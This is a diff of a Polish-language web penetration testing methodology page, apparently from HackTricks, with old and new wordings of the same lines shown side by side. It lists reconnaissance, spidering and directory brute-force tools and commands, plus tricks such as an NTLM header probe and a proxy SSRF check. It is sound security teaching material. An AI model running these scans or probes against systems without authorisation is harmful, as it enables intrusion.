Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,7 +24,7 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowa
Usługa internetowa to najbardziej **powszechna i rozległa usługa**, w której istnieje wiele **różnych rodzajów podatności**.
**Domyślny port:** 80 (HTTP), 443(HTTPS)
**Port domyślny:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -49,15 +49,15 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Czy istnieje **znana podatność** wersji tej technologii?
* [ ] Czy używana jest **jakakolwiek znana technologia**? Czy istnieje **przydatna sztuczka** do pozyskania dodatkowych informacji?
* [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)?
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś ciekawego.
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś interesującego.
* [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli HTTPS).
* [ ] Rozpocznij **przeglądanie strony**: Czas znaleźć wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go przeglądać._
* [ ] **Próba siłowego przeglądania katalogów**: Spróbuj siłowo przeglądać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go siłowo przeglądać._
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, powinieneś go przeglądać._
* [ ] **Siłowe przeglądanie katalogów**: Spróbuj siłowo przeglądać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, powinieneś go siłowo przeglądać._
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając popularne rozszerzenia kopii zapasowych.
* [ ] **Siłowe przeglądanie parametrów**: Spróbuj znaleźć **ukryte parametry**.
* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje **podatności** z nimi związane.
* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology/)
## Wersja serwera (Podatny?)
@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
### Identyfikacja
Sprawdź, czy istnieją **znane podatności** dla wersji serwera, która jest używana.\
**Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** używanych **technologii** i/lub **wersji**. **Skan Nmap** może zidentyfikować wersję serwera, ale również przydatne mogą być narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com)**:**
**Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** używanych **technologii** i/lub **wersji**. **Skan Nmap** może zidentyfikować wersję serwera, ale również przydatne mogą być narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -94,7 +94,7 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog
* [**Git**](git.md)
* [**Golang**](golang.md)
* [**GraphQL**](graphql.md)
* [**H2 - baza danych Java SQL**](h2-java-sql-database.md)
* [**H2 - Java SQL database**](h2-java-sql-database.md)
* [**IIS tricks**](iis-internet-information-services.md)
* [**JBOSS**](jboss.md)
* [**Jenkins**](broken-reference/)
@ -104,7 +104,7 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog
* [**Laravel**](laravel.md)
* [**Moodle**](moodle.md)
* [**Nginx**](nginx.md)
* [**PHP (php ma wiele interesujących trików, które mogą być wykorzystane)**](php-tricks-esp/)
* [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/)
* [**Python**](python.md)
* [**Spring Actuators**](spring-actuators.md)
* [**Symphony**](symphony.md)
@ -121,14 +121,14 @@ Jeśli aplikacja internetowa używa **jakiejkolwiek znanej technologii/platformy
### Przegląd kodu źródłowego
Jeśli **kod źródłowy** aplikacji jest dostępny na **githubie**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** do obecnego **testu Black-Box**:
Jeśli **kod źródłowy** aplikacji jest dostępny w **githubie**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** dla obecnego **testu Black-Box**:
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji** lub cokolwiek z **informacjami o wersji dostępnymi** przez internet?
* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
* Czy **hasła** są w **czystym tekście**, **zaszyfrowane** czy który **algorytm haszowania** jest używany?
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji** dostępne przez sieć?
* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
* Czy **hasła** są w **czystym tekście**, **zaszyfrowane** lub jaki **algorytm haszowania** jest używany?
* Czy jest używany **klucz główny** do szyfrowania czegoś? Jaki **algorytm** jest używany?
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność?
* Czy w **githubie** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
* Czy w githubie znajdują się jakieś **interesujące informacje** (rozwiązane i nierozwiązane) w **problemach**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś interesującego:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony internetowe [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -184,24 +184,24 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane są dziwne dane. Może to otworzyć **luki w zabezpieczeniach** lub **ujawnić poufne informacje**.
* Dostęp do **fałszywych stron**, takich jak /cokolwiek\_fake.php (.aspx,.html,.itp)
* Dostęp do **fałszywych stron** takich jak /cokolwiek\_fake.php (.aspx,.html,.itp)
* Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy
* Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
* Spróbuj użyć **różnych czasowników HTTP**, takich jak PATCH, DEBUG lub błędny, np. FAKE
* Spróbuj użyć **różnych czasowników HTTP** jak PATCH, DEBUG lub błędny jak FAKE
#### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)**
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj:
* **Próbuj zgadywać** dane uwierzytelniające
* **Brute Force** hasła
* **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów.
### **Układy SSL/TLS**
### **Luki w SSL/TLS**
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na ataki typu MitM**
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą protokołu HTTP**. To jest wysokie ryzyko.
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą HTTP**. To jest wysokie ryzyko.
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia podatności:
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk w zabezpieczeniach:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -215,58 +215,58 @@ Informacje o podatnościach SSL/TLS:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
### Przeglądanie stron
Uruchom pewnego rodzaju **pająka** w sieci. Celem pająka jest **znalezienie jak najwięcej ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeglądanie stron internetowych i zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło.
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFiderem dla plików JS i Archive.org jako źródło zewnętrzne.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka także w Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Wystarczy wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się.
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl).
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl)
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów czerwonych, ninja bezpieczeństwa informacji.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych i ninja bezpieczeństwa informacji.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do analizowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest rozwijany.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi.
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL do załadowania strony.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL, aby załadować stronę.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu URL .js.map dostarczy uporządkowany kod JS
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu URL .js.map uzyska uporządkowany kod JS
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukaj (nawet poprzez wypełnianie formularzy) i znajdź również informacje poufne, korzystając z określonych wyrażeń regularnych.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeglądaj (nawet poprzez wypełnianie formularzy) i znajduj również informacje poufne, korzystając z określonych wyrażeń regularnych.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI Crawler/Spider do bezpieczeństwa sieciowego, przeznaczony dla profesjonalistów zajmujących się cyberbezpieczeństwem.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych ciekawych danych z kodu źródłowego JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania.
### Przeszukiwanie brutalne katalogów i plików
### Przemierzanie katalogów i plików metodą brutalnej siły
Zacznij **przeszukiwanie brutalne** od katalogu głównego i upewnij się, że przeszukasz **wszystkie** znalezione **katalogi** korzystając z **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to zrobić przeszukiwanie brutalne **rekurencyjnie** i dołączając na początku używanej listy słów nazwy znalezionych katalogów).\
Zacznij **przemierzać** od katalogu głównego i upewnij się, że **przemierzasz wszystkie znalezione katalogi** za pomocą **tej metody** oraz wszystkie katalogi **odkryte** podczas **przeglądania stron** (możesz to zrobić **rekurencyjnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
Narzędzia:
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**), ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma funkcji rekurencyjnego wyszukiwania.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, **nie ma** rekurencyjnego wyszukiwania.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): To nie jest pająk, ale narzędzie, które po podaniu listy znalezionych adresów URL usunie "zduplikowane" adresy URL.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Rozszerzenie Burp do tworzenia listy katalogów z historii burp różnych stron
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuń adresy URL z zduplikowanymi funkcjonalnościami (na podstawie importów js)
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuń adresy URL z zduplikowanymi funkcjonalnościami (oparte na importach js)
* [**Chamaleon**](https://github.com/iustin24/chameleon): Wykorzystuje wapalyzer do wykrywania używanych technologii i wybiera listy słów do użycia.
**Polecane słowniki:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* Słownik dołączony do **Dirsearch**
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Słowniki Assetnote](https://wordlists.assetnote.io)
* Wordlisty Assetnote
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@ -283,7 +283,7 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
### Co sprawdzić w każdym znalezionym pliku
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia.
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazewnictwa kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej.
* _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@ -293,12 +293,12 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
* **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
* Jeśli bawisz się w **CTF**, „powszechnym” trikiem jest **ukrycie informacji** wewnątrz komentarzy na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik wskazujący, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Klucze API Google: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz skorzystać z projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
* **S3 Buckets**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **subdomena** lub jakikolwiek **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
* Klucze API Google: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
* **Kubełki S3**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **poddomena** lub jakikolwiek **link** jest powiązany z kubełkiem S3. W takim przypadku [**sprawdź** **uprawnienia** kubełka](buckets/).
### Specjalne znaleziska
Podczas **przeszukiwania** i **atakowania brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
Podczas **przeszukiwania** i **ataku brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
**Interesujące pliki**
@ -306,14 +306,14 @@ Podczas **przeszukiwania** i **atakowania brutalnej siły** możesz natrafić na
* [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md)
* Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
* Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne.
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Również interesujące będzie **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
* Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
* **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Uporządkowujący JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* W kilku przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane, co będzie przydatne: [https://regex101.com/](https://regex101.com)
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalną nową podatną funkcjonalność.
**403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)**
@ -323,12 +323,12 @@ Podczas **przeszukiwania** i **atakowania brutalnej siły** możesz natrafić na
**502 Proxy Error**
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **serwer proxy** spróbuje **uzyskać dostęp do _google.com_** i odkryjesz **SSRF**.
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp do _google.com_** i odkryjesz **SSRF**.
**Autoryzacja NTLM - Ujawnienie informacji**
Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i proszące o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na to, jak działa **autoryzacja NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania autoryzacji **NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_".
**Przekierowanie HTTP (CTF)**
@ -336,7 +336,7 @@ Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** wewnątrz.
### Sprawdzanie podatności sieci Web
Po wykonaniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
Po przeprowadzeniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
